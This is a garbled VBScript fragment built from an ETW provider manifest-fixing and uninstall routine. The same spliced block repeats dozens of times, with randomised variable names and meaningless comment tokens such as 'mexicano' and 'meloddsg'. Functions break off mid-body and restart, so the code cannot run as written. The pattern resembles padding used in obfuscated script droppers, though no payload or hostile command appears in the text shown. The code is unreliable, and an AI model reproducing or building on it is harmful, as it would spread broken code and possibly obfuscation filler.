End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes 